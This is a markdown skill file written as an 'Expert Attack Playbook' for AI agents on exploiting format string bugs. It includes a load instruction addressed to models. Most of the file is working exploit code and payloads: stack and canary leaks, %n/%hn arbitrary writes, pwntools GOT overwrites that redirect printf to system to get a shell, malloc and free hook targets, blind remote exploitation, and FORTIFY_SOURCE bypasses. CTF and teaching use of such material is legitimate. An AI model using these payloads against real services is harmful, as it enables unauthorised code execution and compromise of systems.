Format String Exploitation

---
name: format-string-exploitation
description: >-
  Format string exploitation playbook. Use when printf-family functions receive user-controlled format strings, enabling arbitrary stack reads (%p/%s), arbitrary memory writes (%n/%hn/%hhn), GOT/hook overwrites, and canary/libc/PIE leaks.
---

# SKILL: Format String Exploitation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __malloc_hook overwrite, pointer chain exploitation, blind format string, FORTIFY_SOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string.

## 0. RELATED ROUTING

- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — combine format string leak with stack overflow for full exploit
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — format string is the primary canary/PIE/ASLR leak method
- [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert format string write primitive to code execution targets
- [heap-exploitation](../heap-exploitation/SKILL.md) — heap address leak via format string for heap exploitation

---

## 1. VULNERABILITY IDENTIFICATION

### Vulnerable Pattern

```c
printf(user_input);          // VULNERABLE: user controls format string
fprintf(fp, user_input);     // VULNERABLE
sprintf(buf, user_input);    // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE

printf("%s", user_input);    // SAFE: format string is fixed
```

### Quick Test

```
Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset
```

---

## 2. READING MEMORY

### Stack Leak (%p)

| Format | Action | Use |
|---|---|---|
| `%p` | Print next stack value as pointer | Sequential stack dump |
| `%N$p` | Print N-th parameter as pointer | Direct positional access |
| `%N$lx` | Same as %p but explicit hex (64-bit) | Portable |
| `%N$s` | Dereference N-th parameter as string pointer | Read memory at pointer value |

### Finding Your Input Offset

```python
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
#                                                           ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
    io.sendline(f'AAAA%{i}$p')
    if '0x41414141' in io.recvline():
        print(f'Offset = {i}')
        break
```

### Leaking Specific Values

| Target | Method | Stack Position |
|---|---|---|
| Canary | `%N$p` where N = canary offset from format string | Typically at offset buf_size/8 + few |
| Saved RBP | `%N$p` (just above return address) | Leaks stack address → stack base |
| Return address | `%N$p` | Leaks .text address (PIE base = leak & ~0xfff - offset) |
| Libc address | `%N$p` where N points to `__libc_start_main+XX` return on stack | libc base = leak - offset |

### Reading Arbitrary Address (%s)

```
# 32-bit: place address at start of format string
payload = p32(target_addr) + b'%N$s'  # N = offset where target_addr appears on stack

# 64-bit: address contains null bytes → place AFTER format specifiers
payload = b'%8$sAAAA' + p64(target_addr)  # %8$s reads from offset 8 where address is
```

---

## 3. WRITING MEMORY (%n)

### Write Specifiers

| Specifier | Bytes Written | Width |
|---|---|---|
| `%n` | 4 bytes (int) | Characters printed so far |
| `%hn` | 2 bytes (short) | Characters printed so far (mod 0x10000) |
| `%hhn` | 1 byte (char) | Characters printed so far (mod 0x100) |
| `%ln` | 8 bytes (long) | Characters printed so far |

### Arbitrary Write Technique

**Goal**: Write value `V` to address `A`.

**32-bit** (address on stack directly):
```python
# Write 2 bytes at a time using %hn
# Place target addresses in format string (they'll be on stack)
payload  = p32(target_addr)       # for low 2 bytes
payload += p32(target_addr + 2)   # for high 2 bytes
# Calculate padding for each %hn write
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()
```

**64-bit** (address AFTER format string):
```python
# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
# Solution: place addresses AFTER the format specifiers

# Step 1: format string portion (no null bytes)
fmt = b'%Xc%N$hn%Yc%M$hn'
# Step 2: pad to 8-byte alignment
fmt = fmt.ljust(align, b'A')
# Step 3: append target addresses
fmt += p64(target_addr)
fmt += p64(target_addr + 2)
```

### Byte-by-Byte Write with %hhn

Write one byte at a time for precision (6 writes for full 48-bit address on 64-bit):

```python
writes = {}
for i in range(6):
    byte_val = (value >> (i * 8)) & 0xff
    writes[target_addr + i] = byte_val

# pwntools handles the math:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
```

---

## 4. PWNTOOLS fmtstr_payload()

```python
from pwn import *

# Overwrite GOT entry with target address
payload = fmtstr_payload(
    offset,                    # stack offset where input appears
    {elf.got['printf']: libc.symbols['system']},  # {addr: value}
    numbwritten=0,             # bytes already output before our input
    write_size='short'         # 'byte', 'short', or 'int'
)

# For 64-bit with addresses after format string:
# fmtstr_payload handles this automatically
```

### FmtStr Class (Interactive Exploitation)

```python
from pwn import *

def send_payload(payload):
    io.sendline(payload)
    return io.recvline()

fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset is auto-detected
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()
```

---

## 5. GOT OVERWRITE VIA FORMAT STRING

### Common Targets

| Overwrite | With | Trigger |
|---|---|---|
| `printf@GOT` | `system` | Next `printf(user_input)` → `system(user_input)`, send `/bin/sh` |
| `strlen@GOT` | `system` | If `strlen(user_input)` called |
| `puts@GOT` | `system` | If `puts(user_input)` called |
| `atoi@GOT` | `system` | If `atoi(user_input)` called (send `sh` as "number") |
| `__stack_chk_fail@GOT` | Controlled addr | Bypass canary check entirely |
| `exit@GOT` | `main` | Create infinite loop for multi-shot exploit |

### Hook Targets (glibc < 2.34)

| Target | One-gadget | Trigger |
|---|---|---|
| `__malloc_hook` | one_gadget addr | Any `printf` with large format → internal `malloc` |
| `__free_hook` | `system` | Trigger `free("/bin/sh")` |

---

## 6. STACK POINTER CHAIN EXPLOITATION

When format string is **not directly on the stack** (e.g., stored in a heap buffer referenced by stack pointer), use pointer chains on the stack to achieve arbitrary write.

### Two-Stage Write

```
Stack:
  [offset A] → ptr_X (stack address pointing to another stack address)
  [offset B] → ptr_Y (target of ptr_X)

Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr
```

This requires finding **existing pointer chains** on the stack (e.g., saved frame pointers forming a chain: rbp → prev_rbp → prev_prev_rbp).

### Finding Pointer Chains

```python
# Leak stack with %p, look for:
# 1. Stack address A at offset N that points to another stack address B
# 2. Stack address B at offset M
# Modify value at A (using %N$hn) to change where B points
# Then write through B (using %M$hn) to target
```

---

## 7. BLIND FORMAT STRING

Remote service, no binary, no source — exploit format string blind.

### Methodology

| Step | Action | Purpose |
|---|---|---|
| 1 | Send `%p` × 50 | Dump stack, identify address patterns |
| 2 | Identify offsets | Find libc addrs (0x7f...), stack addrs (0x7ff...), code addrs |
| 3 | Find input offset | Send `AAAA%N$p` for N=1..50, find 0x41414141 |
| 4 | Identify binary base | Code addresses reveal PIE base (or fixed base if no PIE) |
| 5 | Leak GOT entries | If binary base known, read GOT via `%N$s` with GOT address |
| 6 | Calculate libc base | GOT value - libc symbol offset |
| 7 | Overwrite GOT | `%n` to rewrite GOT entry with system address |

---

## 8. FORTIFY_SOURCE BYPASS

`FORTIFY_SOURCE` (gcc `-D_FORTIFY_SOURCE=2`) replaces `printf` with `__printf_chk` which **forbids `%N$n`** (positional writes).

### Bypass Techniques

| Method | Detail |
|---|---|
| Use `%hn` sequentially (no positional) | Print exact byte count, `%hn`, adjust, `%hn` — fragile but works |
| Stack-based exploit | If format string is on stack, use non-positional `%n` with stack position control |
| Heap overflow instead | FORTIFY doesn't protect heap — combine with heap bug |
| Return-to-printf | ROP to call unfortified `printf` (if available in binary or libc) |

---

## 9. 64-BIT CONSIDERATIONS

| Challenge | Solution |
|---|---|
| Addresses contain `\x00` (null byte terminates format string) | Place addresses AFTER format specifiers, pad to alignment |
| Address width: 6 significant bytes | Write 3 × `%hn` (2 bytes each) or 6 × `%hhn` |
| Larger stack offset range | Input may be at offset 6+ due to 6 register args saved |
| 48-bit address space | Only bottom 48 bits of 64-bit used |

### Layout Template (64-bit)

```
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
 ← no null bytes here →                          ← null bytes OK (after fmt) →
```

---

## 10. DECISION TREE

```
Format string vulnerability confirmed (printf(user_input))
├── FORTIFY_SOURCE enabled? (__printf_chk)
│   ├── YES → positional %n blocked
│   │   ├── Sequential %n possible? → non-positional write
│   │   └── Combine with another primitive (heap, ROP)
│   └── NO → full positional %n available
├── What do you need first?
│   ├── Leak canary → %N$p at canary stack offset
│   ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
│   ├── Leak libc base → %N$p at __libc_start_main return on stack
│   ├── Leak heap base → %N$p at heap pointer on stack
│   └── Leak specific address → %N$s with target address on stack
├── Architecture?
│   ├── 32-bit → addresses at start of format string
│   └── 64-bit → addresses after format string (null byte issue)
├── Write target?
│   ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
│   ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
│   ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
│   └── Stack return address → direct overwrite (if ASLR bypassed)
├── Single-shot or multi-shot?
│   ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
│   └── One-shot → fmtstr_payload() with all writes in single payload
└── Input not on stack? (heap buffer)
    └── Use stack pointer chains for indirect writes
```